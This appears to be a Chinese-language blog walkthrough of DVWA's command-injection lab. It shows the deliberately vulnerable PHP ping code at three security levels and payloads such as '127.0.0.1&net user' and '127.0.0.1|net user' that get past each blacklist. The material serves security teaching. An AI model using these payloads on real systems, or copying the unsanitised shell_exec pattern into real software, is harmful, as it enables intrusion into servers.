DVWA 命令注入的防护与攻击

DVWA 命令注入的防护与攻击

这篇文章主要分析DVWA四种命令注入的安全防护与攻击

无安全防护

这段代码因为对于输入的参数没有任何验证, 所以容易导致严重的命令注入, 关键是这行代码原本的用意是 ping 之后加上IP地址参数, 但是我们可以透过拼接的方式将指令合并执行

1
$cmd = shell_exec( 'ping  ' . $target );

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
 
if( isset( $_POST[ 'Submit' ]  ) ) {
 
    // Get input
 
    $target = $_REQUEST[ 'ip' ];
 
    // Determine OS and execute the ping command.
 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
 
        // Windows
 
        $cmd = shell_exec( 'ping  ' . $target );
 
    }
 
    else {
 
        // *nix
 
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
 
    }
 
    // Feedback for the end user
 
    echo "<pre>{$cmd}</pre>";
 
}
 
?>

命令注入攻击方式范例

127.0.0.1&&net user

中级安全防护

这段代码已经采用黑名单机制 将”&&” 、”;”删除 , 但是我们还是可以尝试用其他特殊符号, 例如&

攻击方式:127.0.0.1&net user

攻击方式: 127.0.0.1&;&ipconfig

攻击方式: 127.0.0.1|net user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
 
if( isset( $_POST[ 'Submit' ]  ) ) {
 
    // Get input
 
    $target = $_REQUEST[ 'ip' ];
 
    // Set blacklist
 
    $substitutions = array(
 
        '&&' => '',
 
        ';'  => '',
 
    );
 
    // Remove any of the charactars in the array (blacklist).
 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
 
    // Determine OS and execute the ping command.
 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
 
        // Windows
 
        $cmd = shell_exec( 'ping  ' . $target );
 
    }
 
    else {
 
        // *nix
 
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
 
    }
 
    // Feedback for the end user
 
    echo "<pre>{$cmd}</pre>";
 
}
 
?>

&与&&的差异在于

cm1&cmd2 : 先执行cmd1,不管是否成功,都会执行cmd2

cmd1&&cmd2: 先执行cmd1,cmd1执行成功后才执行cmd2

高安全防护

高安全防护虽然加入许多命令注入相关的特殊符号过滤, 但是还是疑漏洞 |方式的命令注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
 
if( isset( $_POST[ 'Submit' ]  ) ) {
 
    // Get input
 
    $target = trim($_REQUEST[ 'ip' ]);
 
    // Set blacklist
 
    $substitutions = array(
 
        '&'  => '',
 
        ';'  => '',
 
        '|  ' => '',
 
        '-'  => '',
 
        '$'  => '',
 
        '('  => '',
 
        ')'  => '',
 
        '`'  => '',
 
        '||' => '',
 
    );
 
    // Remove any of the charactars in the array (blacklist).
 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
 
    // Determine OS and execute the ping command.
 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
 
        // Windows
 
        $cmd = shell_exec( 'ping  ' . $target );
 
    }
 
    else {
 
        // *nix
 
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
 
    }
 
    // Feedback for the end user
 
    echo "<pre>{$cmd}</pre>";
 
}
 
?>

Leave a Reply

Your email address will not be published. Required fields are marked *